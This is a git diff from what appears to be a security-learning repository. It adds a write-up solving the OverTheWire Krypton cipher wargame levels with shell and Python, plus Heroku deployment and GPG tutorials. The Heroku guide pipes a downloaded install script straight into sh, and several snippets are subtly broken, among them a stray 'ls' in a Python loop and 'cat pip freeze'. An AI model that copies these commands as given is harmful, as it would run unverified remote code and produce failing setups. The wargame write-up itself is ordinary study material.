The recon problems usually give you someone/something's name and a task or a hint to find some specific information about it. So the first thing is of course google it.
|
||||||
@ -29,6 +27,7 @@ Google anything using keywords such as ```filetype:cgi inurl:cgi-bin```
|
|||||||
- [redbot.org](https://redbot.org/)
|
- [redbot.org](https://redbot.org/)
|
||||||
- [shodan.io](https://www.shodan.io/)
|
- [shodan.io](https://www.shodan.io/)
|
||||||
- [censys.io](https://censys.io/)
|
- [censys.io](https://censys.io/)
|
||||||
|
|
||||||
-----------------
|
-----------------
|
||||||
[FireBug]: http://getfirebug.com/
|
[FireBug]: http://getfirebug.com/
|
||||||
[Burp Suite]: http://portswigger.net/burp/
|
[Burp Suite]: http://portswigger.net/burp/
|
||||||
|
@ -1,3 +1,9 @@
|
|||||||
## Writeups:
|
# Wargames Writeups
|
||||||
|
|
||||||
[Narnia 1-5]: http://bt3gl.github.io/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html
|
### OverTheWire
|
||||||
|
|
||||||
|
[Wargames]: http://overthewire.org/wargames/
|
||||||
|
|
||||||
|
* krypton
|
||||||
|
* narnia
|
||||||
|
* natas
|
||||||
|
318
CTFs_and_WarGames/WARGAMES/krypton/README.md
Normal file
318
CTFs_and_WarGames/WARGAMES/krypton/README.md
Normal file
@ -0,0 +1,318 @@
|
|||||||
|
# Cryptography War: Beating Krypton
|
||||||
|
|
||||||
|
The problems are very straightforward and very similar to those from the last [CSAW CTF] ([see my post here]).
|
||||||
|
|
||||||
|
|
||||||
|
**Disclaimer**: if you haven't played WarGames, but you are planning to, PLEASE DON'T READ ANY FURTHER. If you don't try to solve the problems by yourself first, you will be wasting your time.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
[Cryptol]: http://www.cryptol.net/
|
||||||
|
[Continuing to talk about]: http://bt3gl.github.io/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html
|
||||||
|
[Wargames]: http://overthewire.org/wargames/
|
||||||
|
[Krypton]: http://overthewire.org/wargames/krypton/
|
||||||
|
[CSAW CTF]: https://ctf.isis.poly.edu/
|
||||||
|
[see my post here]: http://bt3gl.github.io/csaw-ctf-2014-cryptography-200.html
|
||||||
|
|
||||||
|
|
||||||
|
## Level 0: Base64 Transformation
|
||||||
|
|
||||||
|
|
||||||
|
This level starts with:
|
||||||
|
|
||||||
|
> The following string encodes the password using Base64:
|
||||||
|
S1JZUFRPTklTR1JFQVQ=
|
||||||
|
> Use this password to log in to krypton.labs.overthewire.org with username krypton1 using SSH. You can the files for other levels in /krypton/.
|
||||||
|
|
||||||
|
|
||||||
|
[Base64] is just a way to represent binary data in ASCII, by translating it into a radix-64. Linux provides a built-in Base64 encoder/decoder tool, so all we need to do is:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ base64 -d KRYPTON0.txt
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
[Base64]: http://en.wikipedia.org/wiki/Base64
|
||||||
|
|
||||||
|
----
|
||||||
|
|
||||||
|
## Level 1: Classic Caesar Cypher
|
||||||
|
|
||||||
|
The second level starts with:
|
||||||
|
|
||||||
|
> The password for level 2 is in the file ‘krypton2’. It is ‘encrypted’ using a simple rotation. It is also in non-standard ciphertext format. When using alpha characters for ciphertext it is normal to group the letters into five letter clusters, regardless of word boundaries. This helps obfuscate any patterns. This file has kept the plain text word boundaries and carried them to the ciphertext. Enjoy!
|
||||||
|
|
||||||
|
|
||||||
|
This is the classic [Caesar Cypher] (they really love this thing :).
|
||||||
|
|
||||||
|
In Caesar’s cipher, the letters in the plaintext are shifted by a fixed number of elements down the alphabet. For example, if the shift is 3, A becomes D , B becomes E , and so on. Once we run out of letters, we circle back to A.
|
||||||
|
|
||||||
|
We can solve this challenge in a few lines using Linux's built-in [tr] (translate tool):
|
||||||
|
|
||||||
|
```
|
||||||
|
krypton1@melinda:/krypton/krypton1$ VAR=$(cat krypton2)
|
||||||
|
krypton1@melinda:/krypton/krypton1$ echo $VAR
|
||||||
|
YRIRY GJB CNFFJBEQ EBGGRA
|
||||||
|
krypton1@melinda:/krypton/krypton1$ alias rot13="tr A-Za-z N-ZA-Mn-za-m"
|
||||||
|
krypton1@melinda:/krypton/krypton1$ echo "$VAR" | rot13
|
||||||
|
```
|
||||||
|
|
||||||
|
[Caesar Cypher]: http://en.wikipedia.org/wiki/Caesar_cipher
|
||||||
|
[tr]: http://linux.die.net/man/1/tr
|
||||||
|
|
||||||
|
|
||||||
|
-----
|
||||||
|
|
||||||
|
## Level 2
|
||||||
|
|
||||||
|
The third level starts with:
|
||||||
|
|
||||||
|
> ROT13 is a simple substitution cipher.
|
||||||
|
|
||||||
|
> Substitution ciphers are a simple replacement algorithm. In this example of a substitution cipher, we will explore a 'monoalphabetic' cipher. Monoalphebetic means, literally, "one alphabet" and you will see why.
|
||||||
|
|
||||||
|
> This level contains an old form of cipher called a 'Caesar Cipher'.
|
||||||
|
> A Caesar cipher shifts the alphabet by a set number. For example:
|
||||||
|
|
||||||
|
> plain: a b c d e f g h i j k ...
|
||||||
|
> cipher: G H I J K L M N O P Q ...
|
||||||
|
|
||||||
|
> In this example, the letter 'a' in plaintext is replaced by a 'G' in the ciphertext so, for example, the plaintext 'bad' becomes 'HGJ' in ciphertext.
|
||||||
|
|
||||||
|
> The password for level 3 is in the file krypton3. It is in 5 letter group ciphertext. It is encrypted with a Caesar Cipher. Without any further information, this ciphertext may be challenging to break. You do not have direct access to the key, however, you do have access to a program that will encrypt anything you wish to give it using the key. If you think logically, this is completely easy.
|
||||||
|
|
||||||
|
|
||||||
|
First, we make a file filled with the alphabet, so we can test the binary:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ ln -s /krypton/krypton2/keyfile.dat keyfile.dat
|
||||||
|
$ echo {A..Z} {a..z} > file
|
||||||
|
$ cat file
|
||||||
|
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z
|
||||||
|
```
|
||||||
|
|
||||||
|
Running the binary:
|
||||||
|
```
|
||||||
|
$ /krypton/krypton2/encrypt file
|
||||||
|
$ cat ciphertext
|
||||||
|
MNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKL
|
||||||
|
```
|
||||||
|
|
||||||
|
We see a ROT14 (since ROT13 starts in N).
|
||||||
|
|
||||||
|
As a second way to find the rotation, we could use [ltrace]:
|
||||||
|
```
|
||||||
|
$ ltrace /krypton/krypton2/encrypt file | less
|
||||||
|
```
|
||||||
|
|
||||||
|
Which shows things such as:
|
||||||
|
|
||||||
|
```
|
||||||
|
fgetc(0x602250) = 'A'
|
||||||
|
toupper('A') = 'A'
|
||||||
|
isalpha(65, 65, 0x7ffff7dd0d00, -1, 0xffffffff) = 1024
|
||||||
|
fputc('M', 0x602490) = 77
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
Now that we know the rotation number, we can decrypt the password in the same way as we did in the previous level:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
krypton2@melinda:/tmp$ alias rot14="tr A-Z O-ZA-N"
|
||||||
|
krypton2@melinda:/tmp$ echo "$VAR" | rot14
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
[ltrace]: http://linux.die.net/man/1/ltrace
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Level 3: Frequency Analysis
|
||||||
|
|
||||||
|
This level starts with:
|
||||||
|
|
||||||
|
> Well done. You've moved past an easy substitution cipher.
|
||||||
|
|
||||||
|
> Hopefully you just encrypted the alphabet a plaintext to fully expose the key in one swoop.
|
||||||
|
|
||||||
|
> The main weakness of a simple substitution cipher is repeated use of a simple key. In the previous exercise, you were able to introduce arbitrary plaintext to expose the key. In this example, the cipher mechanism is not available to you, the attacker.
|
||||||
|
|
||||||
|
> However, you have been lucky. You have intercepted more than one message. The password to the next level is found in the file 'krypton4'. You have also found three other files. (found1, found2, found3)
|
||||||
|
|
||||||
|
|
||||||
|
This time we have to use [frequency analysis] to count the number of times each letter appears in our message. The results are compared to the frequency in each we see letters in English. This is enough to break this type of cipher.
|
||||||
|
|
||||||
|
For this purpose, I wrote the following script:
|
||||||
|
|
||||||
|
|
||||||
|
```python
|
||||||
|
import string
|
||||||
|
import sys
|
||||||
|
import operator
|
||||||
|
|
||||||
|
FREQ_ENGLISH = [0.0749, 0.0129, 0.0354, 0.0362, 0.1400, 0.0218, 0.0174, 0.0422, 0.0665, 0.0027, 0.0047, 0.0357,0.0339, 0.0674, 0.0737, 0.0243, 0.0026, 0.0614, 0.0695, 0.0985, 0.0300, 0.0116, 0.0169, 0.0028, 0.0164, 0.0004]
|
||||||
|
|
||||||
|
def find_frequency(msg):
|
||||||
|
dict_freq = dict([(c, 0) for c in string.lowercase])
|
||||||
|
total_letters = 0.0
|
||||||
|
for c in msg.lower():
|
||||||
|
if 'a'<= c <= 'z':
|
||||||
|
dict_freq[c] += 1
|
||||||
|
total_letters += 1
|
||||||
|
list_freq = sorted(dict_freq.items(), key=operator.itemgetter(1))
|
||||||
|
return [(c, freq/total_letters) for (c, freq) in list_freq]
|
||||||
|
|
||||||
|
def main(filename):
|
||||||
|
with open(filename, 'r') as f:
|
||||||
|
cipher = f.readlines()
|
||||||
|
cipher = cipher[0].strip()
|
||||||
|
flist = find_frequency(cipher)
|
||||||
|
elist = dict((k, value) for (k, value) in zip(string.lowercase, FREQ_ENGLISH))
|
||||||
|
elist = sorted(elist.items(), key=operator.itemgetter(1))
|
||||||
|
trans, key = '', ''
|
||||||
|
for i, f in enumerate(flist):ls
|
||||||
|
trans += f[0]
|
||||||
|
key += elist[i][0]
|
||||||
|
print "CIPHER: %s -> %.5f, ENGLISH: %s -> %.5f" %(f[0], f[1], elist[i][0], elist[i][1])
|
||||||
|
print "Key is " + key + " for " + trans
|
||||||
|
|
||||||
|
# print key sorted to translate to a-z
|
||||||
|
res = zip(trans, key)
|
||||||
|
res.sort()
|
||||||
|
trans, key = '', ''
|
||||||
|
for letter in res:
|
||||||
|
trans += letter[1].upper()
|
||||||
|
key += letter[0].upper()
|
||||||
|
print "tr [" + key + "] [" + trans + "]"
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main(str(sys.argv[1]))
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
Running it gives us the key:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ cat /krypton/krypton3/found1 > cipher
|
||||||
|
$ cat /krypton/krypton3/found2 >> cipher
|
||||||
|
$ cat /krypton/krypton3/found3 >> cipher
|
||||||
|
$ /krypton/krypton3$ python freq.py cipher
|
||||||
|
$ alias rotvi='tr ABCDEFGHIJKLMNOPQRSTUVWXYZ BOIHPKNQVTWGURXZAJEYSLDFPU'
|
||||||
|
$ cat /krypton/krypton3/krypton4 | rotvi
|
||||||
|
```
|
||||||
|
|
||||||
|
We could also use [this online tool] to find the frequencies.
|
||||||
|
|
||||||
|
[this online tool]: http://www.richkni.co.uk/php/crypta/freq.php
|
||||||
|
|
||||||
|
[frequency analysis]: http://en.wikipedia.org/wiki/Frequency_analysis
|
||||||
|
|
||||||
|
----
|
||||||
|
|
||||||
|
## Level 4: Vigenere Cipher I
|
||||||
|
|
||||||
|
The fifth level starts with:
|
||||||
|
|
||||||
|
> So far we have worked with simple substitution ciphers. They have also been ‘monoalphabetic’, meaning using a fixed key, and giving a one to one mapping of plaintext (P) to ciphertext (C). Another type of substitution cipher is referred to as ‘polyalphabetic’, where one character of P may map to many, or all, possible ciphertext characters.
|
||||||
|
|
||||||
|
> An example of a polyalphabetic cipher is called a Vigenère Cipher. It works like this:
|
||||||
|
|
||||||
|
> If we use the key(K) ‘GOLD’, and P = PROCEED MEETING AS AGREED, then “add” P to K, we get C. When adding, if we exceed 25, then we roll to 0 (modulo 26).
|
||||||
|
|
||||||
|
> P P R O C E E D M E E T I N G A S A G R E E D\
|
||||||
|
> K G O L D G O L D G O L D G O L D G O L D G O\
|
||||||
|
> becomes:
|
||||||
|
|
||||||
|
> P 15 17 14 2 4 4 3 12 4 4 19 8 13 6 0 18 0 6 17 4 4 3\
|
||||||
|
> K 6 14 11 3 6 14 11 3 6 14 11 3 6 14 11 3 6 14 11 3 6 14\
|
||||||
|
> C 21 5 25 5 10 18 14 15 10 18 4 11 19 20 11 21 6 20 2 8 10 17\
|
||||||
|
> So, we get a ciphertext of:
|
||||||
|
|
||||||
|
> VFZFK SOPKS ELTUL VGUCH KR
|
||||||
|
> This level is a Vigenère Cipher. You have intercepted two longer, english language messages. You also have a key piece of information. You know the key length!
|
||||||
|
|
||||||
|
This is a classic case of [Vigenere cipher], which is a variation on Caesar’s cipher. In this case, one uses multiple shift amounts according to a keyword.
|
||||||
|
|
||||||
|
To solve this, we use the [pygenere] library in Python. First, we need to find the key:
|
||||||
|
|
||||||
|
```pyhton
|
||||||
|
import sys
|
||||||
|
from pygenere import Vigenere, VigCrack
|
||||||
|
|
||||||
|
def get_key(msg):
|
||||||
|
# Vigenere Cypher
|
||||||
|
key = VigCrack(msg).crack_codeword()
|
||||||
|
dec_msg = VigCrack(msg).crack_message()
|
||||||
|
dec_msg = dec_msg.replace(" ", "")
|
||||||
|
return key, dec_msg
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
# getting the key
|
||||||
|
with open('cipher', 'r') as f:
|
||||||
|
msg = f.readlines()
|
||||||
|
msg_in = msg[0].strip()
|
||||||
|
key, answer = get_key(msg_in)
|
||||||
|
print 'Message: ' + msg_in
|
||||||
|
print
|
||||||
|
print 'Answer: ' + answer
|
||||||
|
print '(key: ' + key + ')'
|
||||||
|
```
|
||||||
|
|
||||||
|
The deciphered text is:
|
||||||
|
> THESOLDIERWITHTHEGREENWHISKERSLEDTHEMTHROUGHTHESTREETSOFTHEEMERALDCITYUNTILTHEYREACHED
|
||||||
|
THEROOMWHERETHEGUARDIANOFTHEGATESLIVEDTHISOFFICERUNLOCKEDTHEIRSPECTACLESTOPUTTHEMBACK
|
||||||
|
INHISGREATBOXANDTHENHEPOLITELYOPENEDTHEGATEFOROURFRIENDSWHICHROADLEADSTOTHEWICKEDWITCHOF
|
||||||
|
THEWESTASKEDDOROTHYTHEREISNOROADANSWEREDTHEGUARDIANOFTHEGATESNOONEEVERWISHESTOGOTHATWAY
|
||||||
|
HOWTHENAREWETOFINDHERINQUIREDTHEGIRLTHATWILLBEEASYREPLIEDTHEMANFORWHENSHEKNOWSYOUAREIN
|
||||||
|
THECOUNTRYOFTHEWINKIESSHEWILLFINDYOUANDMAKEYOUALLHERSLAVESPERHAPSNOTSAIDTHESCARECROWFOR
|
||||||
|
WEMEANTODESTROYHEROHTHATISDIFFERENTSAIDTHEGUARDIANOFTHEGATESNOONEHASEVERDESTROYEDHER
|
||||||
|
BEFORESOINATURALLYTHOUGHTSHEWOULDMAKESLAVESOFYOUASSHEHASOFTHERESTBUTTAKECAREFORSHEIS
|
||||||
|
WICKEDANDFIERCEANDMAYNOTALLOWYOUTODESTROYHERKEEPTOTHEWESTWHERETHESUNSETSANDYOUCANNOT
|
||||||
|
FAILTOFINDHERTHEYTHANKEDHIMANDBADEHIMGOODBYEANDTURNEDTOWARDTHEWESTWALKINGOVERFIELDS
|
||||||
|
OFSOFTGRASSDOTTEDHEREANDTHEREWITHDAISIESANDBUTTERCUPSDOROTHYSTILLWORETHEPRETTYSILKDRESS
|
||||||
|
SHEHADPUTONINTHEPALACEBUTNOWTOHERSURPRISESHEFOUNDITWASNOLONGERGREENBUTPUREWHITETHERIB
|
||||||
|
BONAROUNDTOTOSNECKHADALSOLOSTITSGREENCOLORANDWASASWHITEASDOROTHYSDRESSTHEEMERALDCITYW
|
||||||
|
ASSOONLEFTFARBEHINDASTHEYADVANCEDTHEGROUNDBECAMEROUGHERANDHILLIERFORTHEREWERENOFARMSN
|
||||||
|
ORHOUSESINTHISCOUNTRYOFTHEWESTANDTHEGROUNDWASUNTILLEDINTHEAFTERNOONTHESUNSHONEHOTINTHEI
|
||||||
|
RFACESFORTHEREWERENOTREESTOOFFERTHEMSHADESOTHATBEFORENIGHTDOROTHYANDTOTOANDTHELIONWER
|
||||||
|
ETIREDANDLAYDOWNUPONTHEGRASSANDFELLASLEEPWITHTHEWOODMANANDTHESCARECROWKEEPINGWATCH
|
||||||
|
|
||||||
|
|
||||||
|
Finally, we use the key to decipher the password:
|
||||||
|
|
||||||
|
```python
|
||||||
|
def solve(msg, key):
|
||||||
|
dec_msg = Vigenere(msg).decipher(key)
|
||||||
|
dec_msg = dec_msg.replace(" ", "")
|
||||||
|
return dec_msg
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
# deciphering
|
||||||
|
key = 'FREKEY'
|
||||||
|
with open('pass', 'r') as f:
|
||||||
|
msg = f.readlines()
|
||||||
|
answer = solve(msg[0].strip(), key)
|
||||||
|
print "The answer is: " + answer
|
||||||
|
```
|
||||||
|
|
||||||
|
[Vigenere cipher]: http://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher
|
||||||
|
[pygenere]: http://smurfoncrack.com/pygenere/pygenere.py
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
----
|
||||||
|
|
||||||
|
## Level 5: Vigenere Cipher II
|
||||||
|
|
||||||
|
The sixth level starts with:
|
||||||
|
|
||||||
|
|
||||||
|
> Frequency analysis can break a known key length as well. Let's try one last polyalphabetic cipher, but this time the key length is unknown.
|
||||||
|
|
||||||
|
This is another example of Vigenere Cipher. Using the same method as before, we first get the key and then the password.
|
||||||
|
|
||||||
|
|
1057
CTFs_and_WarGames/WARGAMES/narnia/README.md
Normal file
1057
CTFs_and_WarGames/WARGAMES/narnia/README.md
Normal file
File diff suppressed because it is too large
Load Diff
1432
CTFs_and_WarGames/WARGAMES/natas.md
Normal file
1432
CTFs_and_WarGames/WARGAMES/natas.md
Normal file
File diff suppressed because it is too large
Load Diff
203
Cloud_and_K8s_Hacking/intro_heroku.md
Normal file
203
Cloud_and_K8s_Hacking/intro_heroku.md
Normal file
@ -0,0 +1,203 @@
|
|||||||
|
# Deploying a Flask App at Heroku
|
||||||
|
|
||||||
|
|
||||||
|
I was playing with Flask, and I wrote my own [Anti-Social Network](https://anti-social.herokuapp.com/).
|
||||||
|
|
||||||
|
Heroku platform is very flexible, and it supports several programming languages. To
|
||||||
|
deploy an application to Heroku, use Git to push the application to Heroku’s server.
|
||||||
|
|
||||||
|
# Running in a Production Server
|
||||||
|
|
||||||
|
Heroku does not provide a web server, but it expects it to start their own servers and listen on the port number set in environment variable PORT. Flask will perform very poorly because it was not designed to run in a production environment. To improve this, you may use a production-ready web server such as Gunicorn.
|
||||||
|
|
||||||
|
```
|
||||||
|
$ pip install gunicorn
|
||||||
|
```
|
||||||
|
|
||||||
|
Now, run your app with:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ gunicorn manage:app
|
||||||
|
```
|
||||||
|
|
||||||
|
Gunicorn uses port 8000 instead of 5000.
|
||||||
|
|
||||||
|
# Heroku Setting Up
|
||||||
|
|
||||||
|
### Create an account at Heroku.com
|
||||||
|
|
||||||
|
If you haven't done it yet, remember: you will be able to keep up to five applications running (you can always delete them if you need).
|
||||||
|
|
||||||
|
### Install Git and Heroku Toolbelt
|
||||||
|
|
||||||
|
You can find instructions at Heroku.com.
|
||||||
|
|
||||||
|
For example, if you are in an AWS EC2 Ubuntu instance, you can use:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ sudo apt-get install -y git-core
|
||||||
|
$ wget -qO- https://toolbelt.heroku.com/install-ubuntu.sh | sh
|
||||||
|
```
|
||||||
|
|
||||||
|
You can check if it worked with:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ which git
|
||||||
|
$ which heroku
|
||||||
|
```
|
||||||
|
|
||||||
|
Now, login at Heroku:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ heroku login
|
||||||
|
```
|
||||||
|
|
||||||
|
## Authorize your Machine at Heroku
|
||||||
|
|
||||||
|
### Create and add an SSH Key at Heroku:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ ssh-keygen -t rsa
|
||||||
|
$ heroku keys:add
|
||||||
|
```
|
||||||
|
|
||||||
|
The public and private keys will be at ```~/.ssh```. I always recommend backup your keys. Never share your private key.
|
||||||
|
|
||||||
|
### Creating a Git Repository
|
||||||
|
|
||||||
|
Heroku's push/commits work just like Git. But instead of using the "origin" you use "heroku" (you can verify this later at .git/refs/remotes/). In other words, your project's control version (development) is done by using:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ git push origin master (or any branch you like)
|
||||||
|
```
|
||||||
|
|
||||||
|
and the deployment at Heroku (production) is done using:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ git push heroku master (or any branch you like)
|
||||||
|
```
|
||||||
|
|
||||||
|
In the root of your project, go ahead, and create a Git repository, commit, add, push:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ git init
|
||||||
|
$ git add -A
|
||||||
|
$ git commit -m "First commit"
|
||||||
|
$ git push origin master
|
||||||
|
```
|
||||||
|
|
||||||
|
### Creating an App
|
||||||
|
|
||||||
|
Now, let's create our app at Heroku:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ heroku create <app-name>
|
||||||
|
```
|
||||||
|
|
||||||
|
You can check all your current applications with:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ heroku apps
|
||||||
|
```
|
||||||
|
|
||||||
|
### Addons and Environment Variables
|
||||||
|
|
||||||
|
Now it's time to add the addons and the environment variables to your app at the Heroku server. For the app I mentioned in the beginning, I type:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ heroku addons:add heroku-postgresql:dev
|
||||||
|
$ heroku pg:promote HEROKU_POSTGRESQL_ONYX_URL
|
||||||
|
$ heroku config:set MAIL_USERNAME="<login>"
|
||||||
|
$ heroku config:set MAIL_PASSWORD="<password>"
|
||||||
|
```
|
||||||
|
|
||||||
|
You can always check your configuration with:
|
||||||
|
```
|
||||||
|
$ heroku config
|
||||||
|
```
|
||||||
|
|
||||||
|
### Adding Requirements
|
||||||
|
|
||||||
|
Heroku needs to know what libraries and packages it needs to install to be able to run your application. For this, create a file requirements.txt in the root of your app, with all the libraries from your environment. One way of doing this is by:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ cat pip freeze >> requirements.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Adding Procfile
|
||||||
|
|
||||||
|
Next, Heroku needs to know the command to use to start your app. This is given by a file called Procfile. The content should be:
|
||||||
|
|
||||||
|
```
|
||||||
|
web gunicorn manage:app
|
||||||
|
```
|
||||||
|
(if this is how you run your application).
|
||||||
|
|
||||||
|
In the Procfile, each line has a task name, a colon, and the command that runs the task. We use web here because Heroku recognizes it as the task that starts the webserver. Heroku gives this task a PORT environment variable, and set it to the port in which the application needs to listen for requests.
|
||||||
|
|
||||||
|
### Using Foreman to Emulate Heroku
|
||||||
|
|
||||||
|
The Heroku Toolbelt includes Foreman, used to run the app locally through the Procfile for testing purposes. The environment variables set at Heroku must be defined locally. Just create a file var.env with this information:
|
||||||
|
|
||||||
|
```
|
||||||
|
FLASK_CONFIG=heroku
|
||||||
|
MAIL_USERNAME=<your-username>
|
||||||
|
MAIL_PASSWORD=<your-password>
|
||||||
|
```
|
||||||
|
|
||||||
|
Foreman run is used to run commands under the environment of the application. Foreman start reads the Procfile and executes the tasks in it:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ foreman run python manage.py deploy
|
||||||
|
$ foreman start
|
||||||
|
```
|
||||||
|
|
||||||
|
### Configuring Logging
|
||||||
|
|
||||||
|
In Heroku, logs are written to stdout or stderr. In my app, I added the logging configuration to a class in my app's ```config.py``` file:
|
||||||
|
|
||||||
|
```
|
||||||
|
class HerokuConfig(ProductionConfig):
|
||||||
|
@classmethod
|
||||||
|
def init_app(cls, app):
|
||||||
|
ProductionConfig.init_app(app)
|
||||||
|
|
||||||
|
import logging
|
||||||
|
from logging import StreamHandler
|
||||||
|
file_handler = StreamHandler()
|
||||||
|
file_handler.setLevel(logging.WARNING)
|
||||||
|
app.logger.addHandler(file_handler)
|
||||||
|
```
|
||||||
|
|
||||||
|
To let Heroku know what configuration it should use, I add this environment variable:
|
||||||
|
```
|
||||||
|
$ heroku config:set FLASK_CONFIG=heroku
|
||||||
|
```
|
||||||
|
|
||||||
|
Now if something goes wrong when you deploy, you can always check the log:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ heroku logs
|
||||||
|
```
|
||||||
|
|
||||||
|
### Deploying!
|
||||||
|
|
||||||
|
If everything is well-done, it's time to deploy your application. Since you already committed your app before, you just need to push it to Heroku:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ git push heroku master
|
||||||
|
```
|
||||||
|
|
||||||
|
In my app, I have a script for the deployment (such as taking care of database and other setups for production). So, additionally, I run:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ heroku run python manage.py deploy
|
||||||
|
$ heroku restart
|
||||||
|
```
|
||||||
|
|
||||||
|
That's it! The app should be running at ```< app-name >.herokuapp.com```.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
Enjoy! This article was originally posted [here](https://coderwall.com/p/pstm1w/deploying-a-flask-app-at-heroku), and it has over 43k views!
|
222
Cryptography/everything_GPG.md
Normal file
222
Cryptography/everything_GPG.md
Normal file
@ -0,0 +1,222 @@
|
|||||||
|
# Intro to OpenPGP & GPG
|
||||||
|
|
||||||
|
[Pretty Good Privacy](http://en.wikipedia.org/wiki/Pretty_Good_Privacy) (PGP) is a model that provides cryptographic privacy and authentication for data communication. It was created by [Phil Zimmermann](http://en.wikipedia.org/wiki/Phil_Zimmermann) in 1991. Today, PGP is a [company](http://en.wikipedia.org/wiki/PGP_Corporation) that sells a proprietary encryption program, [OpenPGP](http://www.openpgp.org/) is the open protocol that defines how PGP encryption works, and [GnuGP](https://www.gnupg.org/) is the free software.
|
||||||
|
|
||||||
|
|
||||||
|
The distribution of PGP keys can be done using the concept of [web of trust](http://en.wikipedia.org/wiki/Web_of_trust). It is a decentralized way of establishing the authenticity of a public key and its owner. If you want a cute (ludic) picture of the web of trust, check [Cory Doctorow](https://twitter.com/doctorow)'s book [Little Brother](http://craphound.com/littlebrother/).
|
||||||
|
|
||||||
|
|
||||||
|
Almost 15 years after its creation, [PGP continues to be *pretty good*](https://firstlook.org/theintercept/2014/10/28/smuggling-snowden-secrets/). But there is still a [need for new solutions](http://blog.cryptographyengineering.com/2014/08/whats-matter-with-pgp.html) (and they appear to be [coming soon](http://googleonlinesecurity.blogspot.com/2014/06/making-end-to-end-encryption-easier-to.html)). Perhaps the main issue with PGP is its persistence. If one key is compromised, any message from the past can be read. That's where the concept of [perfect forward secrecy ](http://en.wikipedia.org/wiki/Forward_secrecy) comes in play, but this is a subject to another post.
|
||||||
|
|
||||||
|
Meanwhile, I wrote this tutorial, and I hope you find it fun. Btw, [this post was first published at CodeWall and it had 1.5k+ views at the time](https://coderwall.com/p/ajtlqa/getting-started-with-pgp-gpg).
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### I. Creating GPG keys
|
||||||
|
|
||||||
|
Type the following in the terminal:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ gpg --gen-key
|
||||||
|
```
|
||||||
|
|
||||||
|
Chose [RSA](http://en.wikipedia.org/wiki/RSA_(cryptosystem)) with 4096 bits long and expiration up to 5 years. Use a [strong passphrase](https://www.eff.org/wp/defending-privacy-us-border-guide-travelers-carrying-digital-devices#passphrase) (keep it safe since it cannot be recovered).
|
||||||
|
|
||||||
|
### II. Backup your Private Key
|
||||||
|
|
||||||
|
Save it with your soul:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ gpg --export-secret-keys --armor YOUR_EMAIL > YOUR_NAME-privkey.asc
|
||||||
|
```
|
||||||
|
|
||||||
|
### III. Sharing your key
|
||||||
|
|
||||||
|
There are several ways you can share or publish your public key:
|
||||||
|
|
||||||
|
#### By sharing the key's fingerprint
|
||||||
|
|
||||||
|
The key's fingerprint is the same as its signature. Each PGP key has a unique fingerprint that allows you to confirm to others that they have received your actual public key without tampering. A fingerprint is a more convenient way to represent a key uniquely.
|
||||||
|
|
||||||
|
To check the fingerprint of any key that you have in your keyring, type:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ gpg --fingerprint EMAIL
|
||||||
|
```
|
||||||
|
|
||||||
|
#### By sending the ASCII file
|
||||||
|
You can copy your key to a file to be shared:
|
||||||
|
```sh
|
||||||
|
$ gpg --export --armor YOUR_EMAIL > YOUR_NAME-pubkey.asc
|
||||||
|
```
|
||||||
|
|
||||||
|
#### By publishing it in a public key server
|
||||||
|
You can export your key to the [GnuPG public key server](keys.gnupg.net). For this, use your key's name (the hexadecimal number in front of the key):
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ gpg --send-key KEY_NAME
|
||||||
|
```
|
||||||
|
|
||||||
|
You can also export it to [pgp.mit.edu](pgp.mit.edu):
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ gpg --keyserver hkp://pgp.mit.edu --send-key KEY_NAME
|
||||||
|
```
|
||||||
|
|
||||||
|
### V. Importing Someone's Key
|
||||||
|
|
||||||
|
There are many ways you can import someone's public key:
|
||||||
|
|
||||||
|
#### By a shared file
|
||||||
|
If you have the ASCII file, you can type:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ gpg --import PUBKEY_FILE
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
#### By Public Key Server
|
||||||
|
To search for someone's key in the public key server, type:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ gpg --search-keys NAME
|
||||||
|
```
|
||||||
|
|
||||||
|
